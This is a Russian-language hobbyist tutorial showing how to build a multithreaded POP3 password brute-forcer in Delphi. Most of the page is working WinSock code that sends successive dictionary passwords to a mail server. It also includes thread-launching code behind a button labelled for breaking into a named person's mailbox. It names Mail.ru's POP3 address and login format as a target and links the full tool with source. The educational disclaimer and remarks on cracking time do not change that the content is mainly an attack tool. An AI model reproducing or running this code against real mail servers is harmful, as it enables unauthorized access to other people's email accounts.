Pers.narod.ru. Программы. Пишем брутфорсер на Delphi |
Статья предоставлена в ознакомительных целях, не стоит надеяться, что написанное здесь приложение сделает Вас "великим хакером" :)
Брутфорсингом называют подбор паролей на почтовых серверах. Технически ничего сложного в проблеме нет - достаточно подключить к проекту библиотеку WinSock, отвечающую за работу с
сокетами, выяснить командой
ping -a url.сервера.pop3
IP-адрес POP3-сервера
интересующего Вас почтового сервиса (например,
ping -a pop3.mail.ru
для Mail.ru), узнать логин нужного пользователя и обращаться к серверу кодом вида
wVersionRequested := MAKEWORD(1,1); //нужная версия WinSock; wVersionRequested: Word err:=WSAStartUp(wVersionRequested, WSAData); //инициализируем сокет; err : Integer //WSAData: TWSAData (структура из WinAPI) if err <> 0 then begin //Ошибка - не удалось запустить WinSock end; sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if sock2=INVALID_SOCKET then begin //Не вышло - неверный сокет try closesocket(sock2); except end; exit; end; iaddr := inet_addr(PChar(STRING_АДРЕС_СЕРВЕРА_POP3)); //iaddr : Integer; if iaddr <=0 then begin //Ошибка - не удалось получить адрес try closesocket(sock2); except end; exit; end; addr.sin_family := AF_INET; addr.sin_port := htons(110); //Будем лезть по 110 порту addr.sin_addr.S_addr:=iaddr; if (connect(sock2, addr, sizeof(addr))) >0 then begin //Попытка коннекта //Ничего не вышло try closesocket(sock2); except end; exit; end; x:=recv(sock2,buf,sizeof(Buf),0); //Получение данных сокета; //x: Integer; Buf : array [1..255] of Char; if (x=SOCKET_ERROR)or(buf[1]<>'+') then begin //Не удалось получить exit; end; sender('user '+STRING_ЛОГИН_ЮЗЕРА+#13+#10); //Шлём логин юзера - напишем метод sender для этого x:=recv(sock2,buf,sizeof(Buf),0); if (x=SOCKET_ERROR)or(buf[1]<>'+') then begin //Не удалось послать exit; end; sender('pass '+STRING_ОЧЕРЕДНОЙ_ПАРОЛЬ+#13+#10); //Шлём пароль юзера тем же методом x:=recv(sock2,buf,sizeof(Buf),0); if (x>3)and(buf[1]='+') then begin //ЗАВЕТНОЕ МЕСТО - ЭТО ТОТ ПАРОЛЬ! end; //Закрываем сокет try closesocket(sock2); except end;
Маленькая процедура Sender
может выглядеть так:
procedure Sender(str:string); var I1: integer; begin for I1:=1 to Length(str) do if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then exit; end;
"Очередной пароль" несложно получить из словаря популярных паролей или методом последовательной генерации подходящих наборов символов. Вся проблема - в быстродействии этого приложения. Если, с учётом времени отклика от сервера, программа будет тратить хотя бы секунду на обработку очередного пароля, то для "гарантированного" подбора пароля из 6 буквенно-цифровых латинских символов (всего имееется 62 таких символа, с учётом различий в регистре) ей понадобится примерно 61474519 / 86400 (число комбинаций по 6 из 62 / число секунд в сутках) ~= 711 суток или почти 2 года! А если добавить символов и увеличить длину пароля?.. (кстати, умный пользователь "на всякий случай" никогда не ставит на ценные ресурсы паролей короче 9-10 "разнокалиберных" символов). А если сервер (или антивирусник) ещё начнёт отслеживать постоянную подозрительную активность Вашего приложения и к Вам примут меры?
К счастью, решение есть, приложение можно сделать многопоточным. Суть в том, что пароли будут перебирать сразу несколько потоков (вычислительных процессов), столько, сколько может позволить себе Ваш компьютер. Для того, чтоб реализовать в нашем приложении набор (массив) потоков, достаточно сделать следующее.
Создадим класс-потомок класса TThread:
type TScan = class(TThread) //класс будет называться TScan sock2 : TSocket; //он содержит сам сокет, addr:TSockAddrIn; //WinAPI-структуру для работы с адресами инета WSAData : TWSAData; //и указатель на структуру с данными сокета private procedure CScan; //это будет процедура-сканер, куда мы загоним написанный выше код protected procedure Execute; override; //Такая процедура должна быть у каждого потока, это, собственно, его выполнение и есть end;
Создадим массив из объектов нового класса TScan:
Sock : array[1..255] of TScan;
Где-то по нажатию кнопки "Сломать ящик Васи Пупкина" запустим кучу процессов:
I:=1; while true do begin // Цикл для запуска процессов Sock[I]:=TScan.Create(false); //Создаём процесс и сразу запускаем (значение параметра false) inc(I); sleep(50); if (I>НУЖНОЕ_ЧИСЛО_ПРОЦЕССОВ) or (УЖЕ_СЛОМАЛИ) then break; end;
Потом сидим и ждём, когда один из процессов вывалит Васин пароль.
Но если бы всё было так просто, ни одного целого пароля в Инете уже бы не было :) Всё дело в том, что запущенные нами потоки "ничего не знают" друг о друге. И если, к примеру, поток в процессе работы изменяет любую внешнюю по отношению к себе переменную (или любое свойство интерфейсного элементы формы - стандартная библиотека VCL тоже однопоточна), это может привести к абсолютно непредсказуемым последствиям - ведь "брат-близнец" - другой поток - тоже мог за это время попытаться что-то сделать с внешними по отношению к себе данными!
Отладка плохо написанных многопоточных программ способна свести с ума уже полностью непредсказуемым поведением любых общих для нескольких потоков данных.
Выходов из нового тупика 2 - начать возиться с синхронизацией действий потоков (отдельная и большая тема), либо просто поместить "опасный" код в так называемые критические секции, внутри которых может работать только один поток, а другие ждут завершения выполнения его операций с секцией:
uses syncobjs; //подключили нужную библиотеку к проекту ... var CriticalSection: TCriticalSection; //Описали объект критической секции ... CriticalSection:=TCriticalSection.Create; //создали объект, например, в методе TForm1.FormCreate ... CriticalSection.Enter; //Вход в критическую секцию //Здесь выполняютс "опасные" действия CriticalSection.Leave; //Выход из неё
При анализе наброска нашего брутфорсера легко заметить, что "опасные действия" в нём будут составлять значительную часть кода, прежде всего, все манипуляции с получением очередного пародя из списка и подсчётом этих паролей, а также и часть операций с сокетами. Поэтому многие преимущества многопоточности легко растерять :(
Тем не менее, создав несложную форму будущего приложения
и написав недостающий код (чтение-сохранение словаря паролей, интерфейсные штучки и т.п.), получаем проект, который можно скачать по ссылке ниже вместе с исходниками:
Учебный проект Brute - Брутфорсер на Delphi (130 Кб)
Скомпилировано в Delphi 3, ничего другого не было под рукой, в старших версиях, значит, тем более должно работать.
Приложение успешно справилось с тестовым "взломом" моего рабочего ящика на корпоративном сервере. Как понимаете, просто в файле Brute.txt был нужный пароль :) В реальности нужно всегда иметь в виду сказанное выше о трудоёмкости метода перебора.
К тому же, некоторая задержка возникла с тем, что сервак принимал в качестве логина только полный адрес E-mail, то есть, не user, а user@host.ru. Кстати, сейчас так делают очень многие почтовики, скажем, для упомянутого Mail.Ru тоже надо указать IP POP3-сервера 94.100.177.6 и в поле "Логин" - полный адрес вида user@mail.ru.
Можно ли сделать лучше? Конечно, во-первых, несложно улучшить работу с потоками, избавившись от массивных критических секций, во-вторых, я бы вообще писал реальный брутфорсер на C++ или Perl.
гостевая; E-mail |